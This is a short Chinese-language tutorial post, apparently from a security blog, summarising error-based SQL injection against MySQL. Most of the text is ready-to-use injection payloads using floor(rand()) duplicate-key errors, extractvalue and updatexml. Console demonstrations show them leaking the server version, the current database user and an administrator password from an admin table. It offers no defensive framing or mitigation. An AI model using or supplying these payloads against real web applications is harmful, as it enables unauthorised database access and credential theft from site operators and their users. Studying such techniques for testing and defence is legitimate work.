mysql 注入報(bào)錯(cuò)利用方法總結(jié)
2024-07-05 11:18 作者：18723323311 閱讀量：54711、通過(guò)floor報(bào)錯(cuò)
可以通過(guò)如下一些利用代碼
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));
舉例如下：
首先進(jìn)行正常查詢(xún)：
mysql> select * from article where id = 1;
+—-+——-+———+
| id | title | content |
+—-+——-+———+
| 1 | test | do it |
+—-+——-+———+
假如id輸入存在注入的話(huà)，可以通過(guò)如下語(yǔ)句進(jìn)行報(bào)錯(cuò)。
mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ‘5.1.33-community-log1’ for key ‘group_key’
可以看到成功爆出了Mysql的版本，如果需要查詢(xún)其他數(shù)據(jù)，可以通過(guò)修改version()所在位置語(yǔ)句進(jìn)行查詢(xún)。
例如我們需要查詢(xún)管理員用戶(hù)名和密碼：
Method1:
mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ‘admin8881’ for key ‘group_key’
Method2:
mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ‘admin8881’ for key ‘group_key’
2、ExtractValue
測(cè)試語(yǔ)句如下
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
實(shí)際測(cè)試過(guò)程
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ‘\admin888’
3、UpdateXml
測(cè)試語(yǔ)句
and 1=(updatexml(1,concat(0x3a,(select user())),1))
實(shí)際測(cè)試過(guò)程
mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ‘:root@localhost’